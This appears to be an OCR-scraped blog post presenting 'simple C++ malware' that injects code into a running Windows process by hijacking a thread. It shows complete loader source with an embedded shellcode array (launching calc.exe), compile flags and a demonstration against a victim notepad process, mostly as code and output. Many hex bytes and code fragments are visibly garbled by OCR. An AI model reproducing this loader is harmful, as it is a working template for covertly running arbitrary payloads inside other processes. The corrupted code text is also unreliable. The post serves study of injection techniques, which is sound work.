Code injection via thread hijacking. Simple C++ malware.
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Hello, cybersecurity enthusiasts and white hackers!

File Actions Edit View

Help

nvim hack.cpp ®  mc [kali@kali]..re-injectio{ZRANLEENE ENELLE]

PS C:sUserssguesDocuments> _“hack.exe notepad.exe
PID = 2520
PS C:sUserssgwesDocuments>

printf(

4

j Untitled - Notepad

18| process Hacker [WINTPC-64\que] (o[ @] =]
i Hacker View Tools Users Hel
rb = VirtualAllocEx(ph, , my_payload_len, MEM e = |
% Refresh . Options | #8 Find handles or DLLs # Gearch Prod |2 Calculator (=8 E=R =)
. Processes | Services Ne{workID\sk RiEwmtiit i
WriteProcessMemory(ph, rb, my_payload, my_payload
Name PID CPU IOtotal.. Privateb.. Username
[ svehost.exe 2476 8.85 MB %]
hSnapshet = CreateToolhelp32Snapshot(TH32CS_SNAPT 4[] svchost.exe 1352 12 ME
* r”['r“dnh”tfhs"apsm' Bte)) B WerFault.exe 948 003 s75MB WINTPCog | Mc || mar [ s | ms || - |
if (pid = te.th320wnerProcessID) { i isass.e 2ts SHME f= e |fe =]
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, t 57 1sm.exe 556 216 MB
break; a8 carss.exe 440 048 72B/s  515MB ‘ 7 H a || g H ; H % |
3 . B8 conhost.exe 2192 2,06 MB WINTPC-f —————
| while (Thread32Next(hSnapshot, &te)); B winlogon.exe 196 247 ME ‘ 4 H 5 || 5 H Hl""|
4 explorer.exe 2084 299 SLO04MB WINTPCE (| ||
¥ VBoxTray.exe 2020 2B/s  191MB WINTPC ‘i”i”i” | _
SuspendThread(ht); 158 ProcessHacker.exe 1876 111 318 MB WINTPC-s8 ‘ o ||_‘ |_+ | =,
GetThreadContext(ht, &ct); B powershell.exe 2612 5174 MB  WINTPC- w—
F a mjnutepad‘exe 2520 1.67 MB WINTPC-xf
ct.Rip = (DWORD_PTR)rb; = T T
SetThreadContext(ht, &ct); colcexe .
ResumeThread(ht); | n

oo
{0 & & 15 i B (@ (3] richt crl

B CloseHandle(ph);

2.c B e

"hack.cpp™ 131L, 4377C written

what does it mean?

Today | will discuss about code injection to remote process via thread hijacking. This is about
code injection via hijacking threads instead of creating a remote thread. There are methods
of code injection where you can create a thread from another process using
CreateRemoteThread at an executable code location, | wrote about this here. Or for example,
classic DLL Injection via CreateRemoteThread and executing LoadLibrary, passing an
argument in the CreateRemoteThread. My post about this technique.

example

Let’s go to look an example which demonstrates this technique:
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/*

hack.cpp

code injection via thread hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/11/23/malware-injection-6.html
*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>

#include <tlhelp32.h>

unsigned char my_payload[] = {
oxfc, 0x48, 0x83, Oxe4, OxfO, Oxe8, OxcO, 0x00, Ox00, 0x00, 0x41, Ox51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, Ox65, 0x48, 0x8b, 0x52,
0x60, 0x48, Ox8b, 0Ox52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
Ox50, 0x48, Ox0f, Oxb7, Ox4a, 0Ox4a, 0x4d, 0x31, Oxc9, 0x48, 0x31, 0OxcO,
Oxac, 0x3c, 0x61, Ox7c, 0x02, 0x2c, 0x20, 0x41, Oxcl, Oxc9, 0x0d, Ox41,
0x01, Oxcl, Oxe2, 0Oxed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, Ox3c, 0x48, 0x01, 0xdO, Ox8b, Ox80, 0x88, Ox00, Ox00, O0x00, 0x48,
0x85, OxcO, 0Ox74, Ox67, 0x48, 0x01, OxdO, Ox50, Ox8b, 0x48, 0x18, 0x44,
Ox8b, 0x40, 0x20, 0x49, 0x01, 0xdO, 0xe3, 0x56, 0x48, Oxff, Oxc9, 0Ox41,
Ox8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, Oxc9, 0x48, 0x31, 0OxcO,
Oxac, 0x41, Oxcl, 0xc9, 0x06d, 0x41, Ox01, Oxcl, 0x38, 0OxeOd, 0Ox75, 0Oxf1,
Ox4c, 0x03, 0x4c, 0Ox24, Ox08, 0x45, 0x39, 0Oxdl, Ox75, 0xd8, 0x58, 0x44,
Ox8b, 0x40, 0x24, 0x49, 0x01, 0xdO, 0x66, 0x41, Ox8b, OxOc, 0x48, 0x44,
0x8b, 0x40, Oxlc, 0x49, 0x01, 0xdO, O0x41, 0x8b, Ox04, 0x88, 0x48, 0Ox01,
0xdO, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, Ox5a, 0x48, 0x83, 0Oxec, 0x20, 0x41, 0x52, Oxff, 0xed, 0x58, 0x41,
0x59, Oxba, 0x48, 0x8b, 0x12, 0xe9, 0x57, Oxff, Oxff, Oxff, Ox5d, 0Ox48,
Oxba, 0x01, Ox00, O0x00, Ox00, Ox00, Ox00, O0x00, Ox00, O0x48, Ox8d, 0Ox8d,
0x01, Ox01, Ox00, 0x00, O0x41, Oxba, 0x31, 0x8b, 0x6f, 0x87, Oxff, 0Oxd5,
Oxbb, 0xf@, Oxb5, 0xa2, 0x56, 0x41, Oxba, 0xa6, 0x95, 0xbd, 0x9d, Oxff,
Oxd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, Ox0a, 0x80, Oxfb, 0Oxe0,
0x75, Ox05, Oxbb, 0x47, 0x13, 0x72, 0Ox6f, 0Ox6a, 0x00, 0x59, 0x41, 0x89,
Oxda, Oxff, Oxd5, Ox63, 0x61, Ox6cC, 0Ox63, 0x2e, 0x65, 0x78, 0Ox65, Ox00

}
unsigned int my_payload_len = sizeof(my_payload);

// get process PID
int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
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// initializing size: needed for using Process32First
pe.dwSize = sizeof (PROCESSENTRY32);

// info about first process encountered in a system snapshot

hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;

}
hResult = Process32Next(hSnapshot, &pe);

// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;

int main(int argc, char* argv[]) {
DWORD pid = ©; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer

HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct,;

pid = findMyProc(argv[1]);

if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1,

} else {
printf("PID = %d\n", pid);

ct.ContextFlags = CONTEXT_FULL;
te.dwSize = sizeof (THREADENTRY32);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;

// allocate memory buffer for remote process

rb = VvirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE

PAGE_EXECUTE_READWRITE) ;

| MEM_COMMIT,
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// write payload to memory buffer
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

// find thread ID for hijacking
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th320wnerProcessID) {
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
break;

}
} while (Thread32Next(hSnapshot, &te));

}

// suspend target thread
SuspendThread(ht);
GetThreadContext(ht, &ct);
// update register (RIP)
ct.Rip = (DWORD_PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht);

CloseHandle(ph);
}

return 0;

}

As usually, for simplicity, we use 64-bit calc.exe as the payload.

As you can see, for finding process by name | used a function findMyProc from my past
post. Then, the main function is like my code from this post about “classic” code injection to
remote process. The only difference in logic: we hijack remote thread instead creating new
one.

The flow is this technique is: firstly, we find the target process:
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int main(int argc, char® argv[]) {
DWORD pid oF
HANDLE ph;
HANDLE ht;
LPVOID rb;

HANDLE hSnapshot;
THREADENTRY3Z te;
CONTEXT ct;

pid findMyProc(argv([1]);
(pid 0) {
printf("PID not found
- l;
{
printf("PID = %d\n", pid);

ct. ContextFlags CONTEXT FULL;
te dwSize (THREADENTRY32

(ph NULL) {
printf("OpenProcess failed! exiting...\n");

rb VirtualAllocEx(ph, NULL, my payload len, MEM RESERV MEM COMMIT, PAGE EXECUTE REA
WriteProc mory(ph, rb, my payload, my payload len, NULL);

hSnapshot L Toolhe pshot(TH SNAPTHREAD, NULL);
(Thread32Fi hSnapshot, &te)) {
{
(pid te.th320wnerPr D) {
ht OpenThread {THREAD ALL !/ , FALSE, te.th32ThreadID);

and write our payload in the allocated space:
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rb VirtualAllocEx(ph, NULL, my payload len, MEM RE / MEM COMMIT, PAGE EXECUTE R

WriteProc eamory(ph, rb, my payload, my payload len, NULL)

hSnapshot Cr Toolhel pshot(TH APTHR NULL) ;
(Thread32First(hSnapshot, &te)) {
{
(pid te.th320wnerProcessID) {
ht OpenThread(THRE il AC , FALSE, te.th32ThreadID);

The next step we find a thread ID of the thread we want to hijack in the target process. In our

case, we will fetch the thread ID of the first thread in our target process. We will leverage
CreateToolhelp32Snapshot to create a snapshot of target process’s threads and enum

them with Thread32Next. This will give us the thread ID we will be hijacking:
WriteProcessMemory(ph, rb, my payload, my payload len, NULL);

hSnapshot CreateToolhel apshot(TH3 SNAPTHREAD, NULL);
(Thread32First(hSnapshot, &te)) {
{
(pid te.th320wnerProcessID) {

nThread (THREAD ALL ACCESS, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

SuspendThread (ht);

Then, suspend the target thread which we want to hijack:
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ht OpenThread (THREAD ALL ACCESS, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

SuspendThread(ht) ;
GetThreadContext(ht, &ct);

ct . Rip (DWORD PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht) ;

CloseHandle(ph);

After that, getting the context of the target thread:

OpenThread (THREAD ALL ACCESS, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

SuspendThread(ht);
GetThreadContext (ht, &ct):

ct Rip (DWORD PTR)rb;
SetThreadContext (ht, &ct);
ResumeThread(ht) ;

CloseHandle(ph);

Update the target thread’s register RIP (instruction pointer on 64-bit) to point to our payload:




ht OpenThread(THREAD ALL ACCESS, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

SuspendThread(ht);
GetThreadContext(ht, &ct);

ct Rip (DWORD PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht) ;

CloseHandle(ph);

But there are the caveat, which is called “SetThreadContext anomaly”. For some processes,
the volatile registers (RAX, RCX, RDX, R8-R11) are set by SetThreadContext, for other
processes (e.g. Explorer, Edge) they are ignored. Best not rely on setThreadContext to set
those registers.

Commit the hijacked thread:

ht OpenThread (THREAD ALL ACCESS, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

SuspendThread(ht) ;
GetThreadContext (ht, &ct);

ct . Rip (DWORD PTR)rb;
SetThreadContext (ht, &ct);
ResumeThread(ht);

CloseHandle(ph);

And in the next step resume hijacked thread:




OpenThread (THREAD ALL AC S, FALSE, te.th32ThreadID);

(Thread32Next (hSnapshot, &te));

ct);

'ORD PTR)rb;
SetThreadC ( ct);
Re eThread(ht);

CloseHandle(ph);

As you can see, it's not so difficult. Let’'s go to compile this malware code:

X86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-
w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-
exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
>/dev/null 2>&1

kali@kali:~ /projects/cybersec_blogf2021-11-23-malware-injection-6
File Actions Edit View Help
kali@kali:~/pr..re-injection-6 ®  mc [kali@kali]..re-injection-6 B kali@kali:~/pr..-shellcoding-1 B
kaligkali s+ -02 hack.cpp

-0 hack.exe -mconsole -I/usr/share/mingw-wé64/include/ -s -ffunction-sections -fdata-sections -Wno-write-s
trings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

kaligkali
total 48

-rwxr-xr-x 1 kali kali 40960 Nov 24 02:18 hack.exe
-rw-r—-r—— 1 kali kali 4362 Nov 24 02:15 hack.cpp
kaligkali

Then on victim machine let’s first launch a notepad. exe instance and then execute our
program:

.\hack.exe notepad.exe
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|24 Windows PowerShell

PE :xllzevssguesDocuments> .“hack.exe notepad.exe
RIIPID
k>

SsuzerssgwesDocuments >

(===

I* Search Processes (Ctrl+K) yel

n

B8 winlogon.exe 496 242 MB
4 explorer.exe 2084 | 54.32 MB
% VBoxTray.exe 2020 28 B/fs 1.94 MB

1% ProcessHacker.exe 1876 i 875 MB

4 powershell.exe 2612 51.74 MB

4 | notepad.exe 908 1.68 MB
[z calc.exe 2576 611 MB

-
J Calculator = || =
View Edit Help

o [1][2][3][=]

[ o [ i+l

4 LU

CPU Usage: 0.99% Physical memeory: 516.85 MB (50.50%) Processes: 38

_ 222AM | |
LT AR DAy =

U] & O 0= 8] @ @ right cul

and our payload code is still working after close victim process notepad.exe:
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1% Process Hacker [WINTPC-xb4\qwe]
Y Windows

Hacker View Tools Users Help
S C:nlse

P
H BOIERETE 2 Refresh 73 Options | #8 Find handles or DLLs

S C:slse

Processes | Services | Network | Disk |

Search Processes (Ctrl+K)

Mame

[#7] Searchindexer.exe
[#7 taskhost.exe
[0 svchost.exe
[#7] svchost.exe
(27 sass.exe
[ Ism.exe
487 csrss.exe
BN conhost.exe
ﬂ winlogon.exe
4 explorer.exe
8 VBoxTray.exe
1% ProcessHacker.exe
4 powershell.exe

D calc.exe

PID
220
2852
2476
2296
543
556
440

496
2084
2020
1876
2612
2576

CPU  I/O total ...

Private b...

31.73 MB
743 MB  WIN7PC-x04\qwe

User name

|

oot (8 @ 2 -
Ofe| |0 B @ w[&|a

As you can see our logic perfectly worked!

Thread execution hijacking
CreateToolhelp32Snapshot
Process32First
Process32Next

strcmp

Taking_a Snapchot and Viewing Processes

Thread32First
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory,
SuspendThread
GetThreadContext
SetThreadContext
ResumeThread

CPU Usage: 0.81% Physical memory: 505.07 ME (49.34%)

g—

Calculator

View Edit

Help

el = ]

Windows 7

Build 7601

\ | 88% available (plugged in, charging] |

228 8M |

oSl AR b
% 11 ) 11/24/201 | |

=

0@ 505 & )@@ recr
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https://attack.mitre.org/techniques/T1055/003/
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strcmp-wcscmp-mbscmp?view=msvc-160
https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32first
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32next
https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread

“Classic” code injection
“Classic” DLL injection
Source code in Github

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine
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